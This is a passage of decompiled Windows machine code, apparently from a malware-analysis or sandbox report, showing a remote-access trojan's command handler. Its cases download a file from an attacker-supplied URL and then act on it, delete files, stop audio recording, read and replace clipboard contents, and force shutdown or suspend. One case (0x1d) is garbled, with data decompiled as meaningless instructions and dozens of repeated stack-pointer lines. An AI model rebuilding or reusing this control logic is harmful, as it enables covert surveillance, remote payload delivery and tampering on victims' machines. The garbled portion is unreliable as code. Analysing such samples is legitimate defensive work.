							goto L146;
						case 0x12:
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__ecx = 0x475188;
							__eax = E00401FC0(0x475188, __eax);
							__ecx = 0x4750f0;
							goto L53;
						case 0x13:
							 *0x472b34 =  &( *0x472b34->i);
							__eflags =  *0x472b34;
							__eflags = __eax;
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 1);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E004020F6(__ebx, __esp, __edx, __eflags, __eax);
							__ecx =  &_v452;
							__eax = E00401E65( &_v452, __edx, __ebp, __eflags, 0);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E004020F6(__ebx, __esp, __edx, __eflags, __eax);
							__ecx = 0x4750f0;
							__eax = E0040A9E1(__ebx, 0x4750f0, __edx, __eflags);
							goto L56;
						case 0x14:
							__esi = 0x4750f0;
							__ecx = 0x4750f0;
							__eax = E0040B7B7(0x4750f0);
							__ecx = 0x4750f0;
							L53:
							__eax = E0040A88F(__ebx, __ecx);
							goto L146;
						case 0x15:
							__eflags =  *0x472b1a - __bl;
							asm("sbb eax, 0x472b1a");
							if(__eflags == 0) {
								__edx = 0;
								__cl = 0;
								__eax = E0040C0B0(0);
							}
							goto L146;
						case 0x16:
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__edi = 0x474e48;
							__ecx = 0x474e48;
							__eax = E00401FC0(0x474e48, __eax);
							__esi = 0x474e60;
							__ecx = 0x474e60;
							__eax = E0040482D(0x474e60);
							__ecx = 0x474e60;
							__eax = E004048C8(0x474e60, 0x474e60, 0x474e60);
							__esp = __esp - 0x18;
							__ecx = __esp;
							_push(0x474e48);
							__eflags =  *0x472aba - __bl; // 0x0
							if(__eflags == 0) {
								__eax = E004020F6(__ebx, __ecx, __edx, __eflags);
							} else {
								__eax = E004020F6(__ebx, __ecx, __edx, __eflags);
							}
							__ecx = __esi;
							__eax = E00404AA1(__esi, __edx, __eflags);
							_push(0);
							_push(0x404421);
							goto L63;
						case 0x17:
							__eax =  *0x472ad0();
							__ecx = 0x474e60;
							__eax = E00404E26(__edx);
							goto L146;
						case 0x18:
							__ecx =  &_v444;
							 *0x472a84 = __bl;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 3);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E004020F6(__ebx, __esp, __edx, __eflags, __eax);
							__ecx =  &_v452;
							__ecx = E00401E65( &_v452, __edx, __ebp, __eflags, 2);
							E00401FAB(__ecx) = E0043B9FC(__ecx, __eax);
							__ecx =  &_v456;
							__ecx = E00401E65( &_v456, __edx, __ebp, __eflags, 1);
							__eax = E00401FAB(__ecx);
							__eax = E0043B9FC(__ecx, __eax);
							__ecx =  &_v460;
							__esi = __eax;
							__ecx = E00401E65( &_v460, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__ecx);
							__eax = E0043B9FC(__ecx, __eax);
							__edx = __esi;
							__ecx = __eax;
							__eax = E0040170F(__ecx, __edx, __edi, __esi, __ebp, __eax);
							goto L146;
						case 0x19:
							 *0x472a84 = 1;
							waveInStop( *0x472ac8) = waveInClose( *0x472ac8);
							goto L146;
						case 0x1a:
							 *0x472b34 =  &( *0x472b34->i);
							__eflags =  *0x472b34;
							__eax = __eax + 0x472b34;
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 1);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E004020F6(__ebx, __esp, __edx, __eflags, __eax);
							__ecx =  &_v452;
							__eax = E00401E65( &_v452, __edx, __ebp, __eflags, 0);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E00412878(__ebx, __edx);
							__esp = __esp + 0x30;
							L56:
							 *0x472b34 =  *0x472b34 - 1;
							goto L146;
						case 0x1b:
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							E00401FAB(__ecx) = DeleteFileW(__eax);
							goto L146;
						case 0x1c:
							__eax = E0041279E();
							ExitProcess(0);
						case 0x1d:
							while(1) {
								__eflags =  *0x472b34 - __ebx;
								if( *0x472b34 == __ebx) {
									break;
								}
								Sleep(0x64);
							}
							__al = __al | __eax->i;
							_t122 = __edx + 0x64;
							 *_t122 =  *(__edx + 0x64) + __ch;
							__eflags =  *_t122;
							E0040CFE4();
							asm("aam 0x5a");
							__ecx = __ecx + 1;
							 *((intOrPtr*)(__esi - 0x50ffbea4)) =  *((intOrPtr*)(__esi - 0x50ffbea4)) + __al;
							_push(0x41);
							 *((intOrPtr*)(__edx + 0x800415e)) =  *((intOrPtr*)(__edx + 0x800415e)) + __ch;
							_pop(__edi);
							__ecx = __ecx + 1;
							__ch = __ch + __bh;
							_pop(__edi);
							__ecx = __ecx + 1;
							 *((intOrPtr*)(__edi + 0x5f)) =  *((intOrPtr*)(__edi + 0x5f)) + __dh;
							__ecx = __ecx + 1;
							 *((intOrPtr*)(__edi + 0x5fc30041 + __ebx * 2)) =  *((intOrPtr*)(__edi + 0x5fc30041 + __ebx * 2)) + __bl;
							__ecx = __ecx + 1;
							__bh = __bh + __cl;
							_pop(__edi);
							__ecx = __ecx + 1;
							__eax->i = __eax->i + __bh;
							__ecx = __ecx + 1;
							 *((intOrPtr*)(__esi - 0x27ffbea0)) =  *((intOrPtr*)(__esi - 0x27ffbea0)) + __dl;
							asm("pushad");
							__ecx = __ecx + 1;
							 *__ecx =  *__ecx + __al;
							asm("popad");
							__ecx = __ecx + 1;
							 *((intOrPtr*)(__esp + 0x41 + __ebx * 2)) =  *((intOrPtr*)(__esp + 0x41 + __ebx * 2)) + __dl;
							__dh = __dh + __ch;
							asm("popad");
							__ecx = __ecx + 1;
							__ebx->i = __ebx->i + __dl;
							asm("bound eax, [ecx]");
							__ah = __ah &  *(__edx + 0x41);
							 *__ecx =  *__ecx + __bh;
							asm("arpl [ecx], ax");
							_pop(__esi);
							asm("arpl [ecx], ax");
							asm("movsd");
							asm("arpl [ecx], ax");
							asm("invalid");
							__ecx = __ecx + 1;
							__ch = __ch + __dl;
							asm("arpl [ecx], ax");
							__eflags =  *((intOrPtr*)(__ecx + __eax * 2)) - __esp;
							__esi = __esi - 1;
							__ecx = __ecx + 1;
							__cl = __cl + __cl;
							__ecx = __ecx + 1;
							__ch = __ch + __ch;
							__ecx = __ecx + 1;
							_a61 = _a61 + __cl;
							 *((intOrPtr*)(__edx + 0x65)) =  *((intOrPtr*)(__edx + 0x65)) + __ch;
							__ecx = __ecx + 1;
							 *((intOrPtr*)(__edi + 0x65)) =  *((intOrPtr*)(__edi + 0x65)) + __bh;
							__ecx = __ecx + 1;
							 *((intOrPtr*)(__edi - 0x6bffbe94)) =  *((intOrPtr*)(__edi - 0x6bffbe94)) + __al;
							__ecx = __ecx + 1;
							__edx->i = __edx->i + __bl;
							__cx = __cx + 1;
							 *((intOrPtr*)(__esi + 0x66)) =  *((intOrPtr*)(__esi + 0x66)) + __dh;
							__ecx = __ecx + 1;
							__edx->i = __edx->i + __al;
							asm("a16 inc ecx");
							 *((intOrPtr*)(__ecx + 0xf004168)) =  *((intOrPtr*)(__ecx + 0xf004168)) + __ch;
							_push(0x688e0041);
							__ecx = __ecx + 1;
							__ebx->i = __ebx->i + __cl;
							 *__ecx * E0041693F =  *__ecx * E0041699A;
							__edx = 0xda004169;
							__eax =  *__ecx * E004169FA;
							asm("invalid");
							__ecx = __ecx + 1;
							__cl = __cl + __bl;
							_push(0x41);
							 *((intOrPtr*)(__ebx + 0x6e)) =  *((intOrPtr*)(__ebx + 0x6e)) + __dl;
							__ecx = __ecx + 1;
							 *0xFFFFFFFF840082C5 =  *((intOrPtr*)(0xffffffff840082c5)) + __dh;
							_pop(__ebp);
							__ecx = __ecx + 1;
							__bh = __bh + __cl;
							_pop(__ebp);
							__ecx = __ecx + 1;
							 *__edi =  *__edi + __al;
							asm("pushad");
							__ecx = __ecx + 1;
							__cl = __cl + __bh;
							_push(0x41);
							 *((intOrPtr*)(__eax + 0x6b)) =  *((intOrPtr*)(__eax + 0x6b)) + __dl;
							__ecx = __ecx + 1;
							 *((intOrPtr*)(__edi - 0x4affbea4)) =  *((intOrPtr*)(__edi - 0x4affbea4)) + __cl;
							asm("arpl [ecx], ax");
							__al = __al - 0x65;
							__ecx = __ecx + 1;
							0xda004169->i = 0xda004169->i + __dl;
							asm("insb");
							__ecx = __ecx + 1;
							 *((intOrPtr*)(__esp + __ebp * 2)) =  *((intOrPtr*)(__esp + __ebp * 2)) + __bl;
							__ecx = __ecx + 1;
							 *__esi =  *__esi + __ah;
							asm("insb");
							__ecx = __ecx + 1;
							__al = __al + __ah;
							__eax =  *__ecx * 0x70;
							__eax =  *__ecx * 0x30;
							asm("insb");
							__ecx = __ecx + 1;
							 *0xFFFFFFFFDA0041D4 =  *((intOrPtr*)(0xffffffffda0041d4)) + __bh;
							__ecx = __ecx + 1;
							__bh = __bh + __al;
							_pop(__edi);
							__ecx = __ecx + 1;
							__bl = __bl + __cl;
							_pop(__edi);
							__ecx = __ecx + 1;
							 *__edi =  *__edi + __bh;
							_pop(__esi);
							__ecx = __ecx + 1;
							 *0xFFFFFFFFDA0041D3 =  *((intOrPtr*)(0xffffffffda0041d3)) + __dl;
							__ecx = __ecx + 1;
							 *((intOrPtr*)(__ecx + 0x2d00416c)) =  *((intOrPtr*)(__ecx + 0x2d00416c)) + __dl;
							_pop(__edi);
							__ecx = __ecx + 1;
							 *0xFFFFFFFFDA0041C8 =  *((intOrPtr*)(0xffffffffda0041c8)) + __dl;
							__ecx = __ecx + 1;
							__ah = __ah + __ch;
							asm("insb");
							__ecx = __ecx + 1;
							 *((intOrPtr*)(__eax + 0x3100416d)) =  *((intOrPtr*)(__eax + 0x3100416d)) + __dl;
							asm("bound eax, [ecx]");
							__ah = __ah |  *(__ebx + 0x41);
							 *((intOrPtr*)(__esi + __ebp * 2)) =  *((intOrPtr*)(__esi + __ebp * 2)) + __cl;
							__ecx = __ecx + 1;
							__dl = __dl + __bl;
							asm("outsd");
							__ecx = __ecx + 1;
							__eax->i = __eax->i + __al;
							0xda004169->i = __eax + 0xda004169->i;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__eax = __eax +  *((intOrPtr*)(__eax + 0x9080706));
							__cl = __cl | __ebx->i;
							__al = __al | 0x0000000d;
							_push(cs);
							asm("movups xmm2, [ecx]");
							asm("adc dl, [ebx]");
							asm("adc al, 0x15");
							__esp = __esp - 1;
							__esp = __esp - 1;
							_push(ss);
							_pop(ss);
							asm("sbb [ecx], bl");
							asm("sbb bl, [ebx]");
							asm("sbb al, 0x1d");
							_push(ds);
							_pop(ds);
							 *__ecx =  *__ecx & __ah;
							__ah = __ah & __ebx->i;
							__al = __al & 0x00000025;
							asm("daa");
							 *__ecx =  *__ecx - __ch;
							__ch = __ch - __ebx->i;
							__al = __al - 0x2d;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							asm("das");
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							 *__ecx =  *__ecx ^ __dh;
							__esp = __esp - 1;
							__cl = __cl ^  *(__ebx + __esi + 0x34);
							__esp = __esp - 1;
							__eax = __eax ^ 0x4c383736;
							__esp = __esp - 1;
							__esp = __esp - 1;
							0xda004169->i - __edi = __ecx -  *((intOrPtr*)(__esp + __edi + 0x3d));
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							asm("aas");
							__eax =  &(__eax->i);
							__ecx = __ecx + 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__edx = 0xffffffffda00416a;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__esp = __esp - 1;
							__ebx =  &(__ebx->i);
							__esp = __esp + 1;
							__esp = __esp - 1;
							__ebp =  &_v3;
							__esi = __esi + 1;
							__edi = __edi + 1;
							__eax = __eax - 1;
							__ecx = __ecx - 1;
							__edx = 0xffffffffda004169;
							__eflags = __ebx;
							_push(__esi);
							__esi = __ecx;
							__ecx = __esi + 4;
							E004046F7(__esi + 4,  &_v3, 0) = __esi;
							_pop(__esi);
							return __esi;
							goto L149;
						case 0x1e:
							__eax = E0040D74D(__ebx, __eflags);
							goto L146;
						case 0x1f:
							while(1) {
								__eflags =  *0x472b34 - __ebx; // 0x0
								if(__eflags == 0) {
									break;
								}
								Sleep(0x64);
							}
							__ebx = 0;
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__eax);
							__ecx =  &_v448;
							__esi = __eax;
							__ecx = E00401E65( &_v448, __edx, __ebp, __eflags, 1);
							__eax = E00401FAB(__eax);
							__dl =  *__esi;
							__ecx =  &_v440;
							__eax = E0040D982( &_v440, __edx, __eax);
							_push(0);
							_push(0);
							__ecx =  &_v440;
							_push(E00401F04( &_v440));
							__ecx =  &_v452;
							__ecx = E00401E65( &_v452, __edx, __ebp, __eflags, 2);
							__eax = E00401FAB(__eax);
							_push(__eax);
							_push(0);
							__imp__URLDownloadToFileW();
							__eflags = __eax;
							if(__eflags == 0) {
								__esp = __esp - 0x18;
								__eax =  &_v452;
								__ecx = __esp;
								E0040905C(0, __esp, __edx, __eflags,  &_v452) = E0040D36E(__edx);
								__esp = __esp + 0x18;
							}
							goto L144;
						case 0x20:
							__ecx =  &_v188;
							__eax = E004046F7( &_v188, __ebp, 1);
							__ecx =  &_v192;
							__eax = E004048C8( &_v192, __esi,  &_v192);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E00402093(__ebx, __esp, __edx, __ebp, 0x4660a4);
							_push(0x25);
							__ecx =  &_v200;
							__eax = E00404AA1( &_v200, __edx, __eflags);
							__ecx =  &_v228;
							__eax = E00404C10( &_v228, __edx, E0040DB8E, 0);
							__ecx =  &_v236;
							__eax = E00404EE2(__ebx, __ecx, __edx, __esi);
							goto L146;
						case 0x21:
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 2);
							__eax = E00401FAB(__ecx);
							__eax = __eax + 0x10000;
							__ecx =  &_v448;
							__ecx = E00401E65( &_v448, __edx, __ebp, __eflags, 1);
							__eax = E00401FAB(__eax);
							__ebx = 0;
							__ecx =  &_v452;
							__ecx = E00401E65( &_v452, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__eax);
							__eax = MessageBoxW(0, __eax, __eax, __eax);
							__ecx =  &_v456;
							__esi = __eax;
							__eax = E00401E65( &_v456, __edx, __ebp, __eflags, 0);
							__esp = __esp - 0x18;
							__ecx =  &_v392;
							__edi = __esp;
							__edx = __esi;
							__edx = E0041BAE0(0,  &_v392, __esi);
							__ecx =  &_v416;
							__edx = __eax;
							__ecx = __edi;
							__eax = E00402F10(0, __edi, __edx, __ebp, __eflags, __eax);
							_push(0x26);
							L22:
							__ecx = 0x475598;
							__eax = E00404AA1(0x475598, __edx, __eflags);
							__ecx =  &_v428;
							__eax = E00401FD8();
							__ecx =  &_v404;
							goto L11;
						case 0x22:
							__eax = E004178A4();
							__ebx = 0;
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__edx = "0";
							__ecx = __eax;
							__eax = E00405B05(__edx);
							__ecx =  &_v448;
							_push(0);
							__eflags = __al;
							if(__eflags == 0) {
								__eax = E00401E65( &_v448, __edx, __ebp, __eflags);
								__edx = "1";
								__ecx = __eax;
								__eax = E00405B05(__edx);
								__ecx =  &_v448;
								_push(0);
								__eflags = __al;
								if(__eflags == 0) {
									__eax = E00401E65( &_v448, __edx, __ebp, __eflags);
									__edx = "2";
									__ecx = __eax;
									__eax = E00405B05(__edx);
									__eflags = __al;
									if(__eflags == 0) {
										__eax = LoadLibraryA("PowrProf.dll");
										__eax = GetProcAddress(__eax, "SetSuspendState");
										__ecx =  &_v444;
										__esi = __eax;
										__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
										__edx = "3";
										__ecx = __eax;
										__eax = E00405B05(__edx);
										_push(0);
										__eflags = __al;
										if(__eflags == 0) {
											__ecx =  &_v444;
											__eax = E00401E65( &_v444, __edx, __ebp, __eflags);
											__edx = "4";
											__ecx = __eax;
											__eax = E00405B05(__edx);
											__eflags = __al;
											if(__al != 0) {
												_push(0);
												_push(0);
												_push(1);
												goto L93;
											}
										} else {
											_push(0);
											_push(0);
											L93:
											__eax =  *__esi();
										}
									} else {
										_push(0);
										__ecx =  &_v444;
										__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 1);
										__eax = E00401FAB(__ecx);
										__eax = E0043B9FC(__ecx, __eax);
										__eax = __eax | 0x00000002;
										__eflags = __eax;
										goto L88;
									}
								} else {
									__ecx = E00401E65( &_v448, __edx, __ebp, __eflags, 1);
									__eax = E00401FAB(__ecx);
									__eax = E0043B9FC(__ecx, __eax);
									__eax = __eax | 0x00000001;
									goto L88;
								}
							} else {
								__ecx = E00401E65( &_v448, __edx, __ebp, __eflags, 1);
								__eax = E00401FAB(__ecx);
								__eax = E0043B9FC(__ecx, __eax);
								L88:
								_pop(__ecx);
								__eax = ExitWindowsEx(__eax, ??);
							}
							goto L146;
						case 0x23:
							L99:
							__eax = OpenClipboard(__ebx);
							__eflags = __eax;
							if(__eax != 0) {
								__esi = GetClipboardData(0xd);
								__edi = GlobalLock(__esi);
								GlobalUnlock(__esi) = CloseClipboard();
								__eflags = __edi;
								0x466468 =  !=  ? __edi : 0x466468;
								__ecx =  &_v432;
								__eax = E0040417E(__ebx,  &_v432, __edx, __ebp,  !=  ? __edi : 0x466468);
								__esp = __esp - 0x18;
								__edx =  &_v436;
								__ecx = __esp;
								__eax = E0041BC70(__ebx, __esp, __edx);
								_push(0x6b);
								__ecx = 0x475598;
								__eax = E00404AA1(0x475598, __edx, __eflags);
								goto L144;
							}
							goto L146;
						case 0x24:
							__eflags = OpenClipboard(0);
							if(__eflags != 0) {
								__eax = EmptyClipboard();
								__ecx =  &_v444;
								__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
								__eax = E0040247C();
								__eax =  &(__eax->i);
								__edi = __eax;
								__eax = GlobalLock(__edi);
								__ecx =  &_v448;
								__esi = __eax;
								__ecx = E00401E65( &_v448, __edx, __ebp, __eflags, 0);
								__eax = E0040247C();
								__ecx =  &_v452;
								__ecx = E00401E65( &_v452, __edx, __ebp, __eflags, 0);
								GlobalUnlock(__edi) = SetClipboardData(0xd, __edi);
								goto L98;
							}
							goto L146;
						case 0x25:
							__eax = OpenClipboard(0);
							__eflags = __eax;
							if(__eax != 0) {
								__eax = EmptyClipboard();
								L98:
								__eax = CloseClipboard();
								goto L99;
							}
							goto L146;
						case 0x26:
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__eax = E0040247C();
							__ecx =  &_v448;
							__esi = __eax;
							__ecx = E00401E65( &_v448, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__eax);
							__edx = __esi;
							__ecx = __eax;
							__eax = E00411C40();
							goto L146;
						case 0x27:
							__eax = 0;
							__ecx =  &_v404;
							__ecx =  &_v444;
							_v404 = 0;
							_v408 = 0;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__eax);
							__edx =  &_v412;
							__ecx = __eax;
							__eax = E0041B948(__eax, __edx,  &_v404);
							__eflags = __eax - 1;
							if(__eax == 1) {
								__edx = _v404;
								__ecx = _v408;
								E00411C40() = L0043BC9C(_v408);
							}
							goto L146;
						case 0x28:
							__eax = E0040C148(__ebx, __edx, __eflags);
							goto L146;
						case 0x29:
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E00417BEC(__ebx, __edx, __esi, __ebp);
							goto L14;
						case 0x2a:
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E004143D3(__ebx, __edx, __esi, __ebp);
							goto L14;
						case 0x2b:
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E0040542F(__ebx, __edx, __esi, __ebp, __eflags);
							goto L14;
						case 0x2c:
							_push(__ecx);
							__esi = 0x475338;
							__ecx = 0x475338;
							__eax = E0040247C();
							__ecx = 0x475338;
							__eax = E00401FAB(0x475338);
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							E0040247C() =  &(__eax->i);
							__ecx =  &_v448;
							__ecx = E00401E65( &_v448, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__eax);
							__ecx = 0x4752f0;
							__edx = E00401FAB(0x4752f0);
							__eax = E00413895(__edx, __eflags, "name", __eax, __eax, __eax, __eax);
							goto L14;
						case 0x2d:
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E004113EC(__ebx, __edx, __esi, __ebp, __eflags);
							goto L14;
						case 0x2e:
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E0041A16A(__ebx, __edx);
							goto L14;
						case 0x2f:
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 4);
							__ecx =  &_v448;
							__eax = E00401E65( &_v448, __edx, __ebp, __eflags, 3);
							__ecx =  &_v452;
							__ecx = E00401E65( &_v452, __edx, __ebp, __eflags, 2);
							__eax = E00401FAB(__eax);
							__ecx =  &_v456;
							__ecx = E00401E65( &_v456, __edx, __ebp, __eflags, 1);
							__eax = E00401FAB(__eax);
							__ecx =  &_v460;
							__esi = __eax;
							__eax = E00401E65( &_v460, __edx, __ebp, __eflags, 0);
							__edx = __esi;
							__ecx = __eax;
							__eax = E00413E40(__ebx, __eax, __edx, __eax, __eax, __eax);
							__ecx =  &_v464;
							__bl = __al;
							__ecx = E00401E65( &_v464, __edx, __ebp, __eflags, 2);
							__eax = E00401FAB(__eax);
							__ecx =  &_v308;
							__eax = E0040417E(__ebx,  &_v308, __edx, __ebp, __eax);
							__esi = "\\";
							__ecx =  &_v472;
							__ecx = E00401E65( &_v472, __edx, __ebp, __eflags, 1);
							__eax = E00401FAB(__eax);
							__ecx =  &_v292;
							__eax = E0040417E(__ebx,  &_v292, __edx, __ebp, __eax);
							__ecx =  &_v480;
							__edx = E00401E65( &_v480, __edx, __ebp, __eflags, 0);
							__ecx =  &_v276;
							__edx = __eax;
							__ecx =  &_v376;
							__edx = __eax;
							__ecx =  &_v416;
							__edx = __eax;
							__ecx =  &_v440;
							__edx = __eax;
							__ecx =  &_v472;
							__eax = E00402FA5( &_v472, __eax, __eax);
							__ecx =  &_v440;
							__eax = E00401F09();
							__ecx =  &_v416;
							__eax = E00401F09();
							__ecx =  &_v376;
							__eax = E00401F09();
							__ecx =  &_v276;
							__eax = E00401F09();
							__ecx =  &_v300;
							__eax = E00401F09();
							__ecx =  &_v324;
							__eax = E00401F09();
							__edx =  &_v472;
							__ecx =  &_v416;
							__eax = E0041BC70(__ebx,  &_v416,  &_v472);
							__esp = __esp - 0x18;
							__ecx =  &_v440;
							__esi = __esp;
							__edx = "4";
							_push(__eax);
							_push(__edi);
							__eflags = __al;
							if(__al == 0) {
								__edx = "5";
							}
							__eax = E0040531E(__ecx, __edx, __ebp);
							_pop(__ecx);
							__edx = __eax;
							__ecx = __esi;
							__eax = E00402EA1(__esi, __edx);
							_pop(__ecx);
							_push(0x72);
							__ecx = 0x475598;
							__eax = E00404AA1(0x475598, __edx, __eflags);
							__ecx =  &_v428;
							__eax = E00401FD8();
							__ecx =  &_v404;
							__eax = E00401FD8();
							goto L144;
						case 0x30:
							__ecx =  &_v188;
							L148();
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 2);
							__eax = E00401FAB(__ecx);
							_v348 = __eax;
							__eax =  &_v192;
							_v344 =  &_v192;
							 &_v348 = E004178FF(__ebx, __edx, __edi, __ebp, __eflags,  &_v348);
							__eax = E00409A24();
							__ecx =  &_v452;
							_t46 = __eax - 1; // -1
							__esi = _t46;
							__eax = E00401E65( &_v452, __edx, __ebp, __eflags, 3);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E004020F6(__ebx, __esp, __edx, __eflags, __eax);
							__ecx =  &_v460;
							__eax = E00401E65( &_v460, __edx, __ebp, __eflags, 2);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E004020F6(__ebx, __esp, __edx, __eflags, __eax);
							__ecx =  &_v468;
							__ecx = E00401E65( &_v468, __edx, __ebp, __eflags, 1);
							__eax = E00401FAB(__eax);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E0040417E(__ebx, __esp, __edx, __ebp, __eax);
							__ecx =  &_v476;
							__ecx = E00401E65( &_v476, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__eax);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E0040417E(__ebx, __esp, __edx, __ebp, __eax);
							__ecx =  &_v228;
							__eax = E00409253(__ecx, __edx, __eflags);
							__eflags = _v324 - __bl;
							if(_v324 == __bl) {
								 &_v404 =  &_v408;
								__ecx = E00409A38(__ecx,  &_v408);
								 &_v324 = E004099D4( &_v324, _v324);
							}
							__ecx =  &_v188;
							__eax = E004099A8();
							goto L146;
						case 0x31:
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__ecx);
							__ecx = __eax;
							__eax = E0040994D(__ecx);
							goto L146;
						case 0x32:
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__eax);
							__eax = StrToIntA(__eax);
							__ecx =  &_v448;
							__edi = __eax;
							__ecx = E00401E65( &_v448, __edx, __ebp, __eflags, 1);
							__eax = E00401FAB(__eax);
							__dl = 0x30;
							__ecx =  &_v440;
							__eax = E0040D982( &_v440, __edx, __eax);
							__ecx =  &_v440;
							__eax = E00401F04( &_v440);
							__ecx =  &_v452;
							__esi = __eax;
							__eax = E00401E65( &_v452, __edx, __ebp, __eflags, 2);
							__edx = __esi;
							__ecx = __eax;
							__eax = E0041C444(__eax, __esi);
							__ecx =  &_v444;
							__edx = E00401F04( &_v444);
							__ecx = __edi;
							__eax = E0041C934(__edi, __edx);
							L144:
							__ecx =  &_v452;
							L145:
							__eax = E00401F09();
							goto L146;
						case 0x33:
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 1);
							__eax = E00401FAB(__eax);
							__ecx =  &_v448;
							__ecx = E00401E65( &_v448, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__ecx);
							__eax = SetWindowTextW(__eax, __eax);
							goto L33;
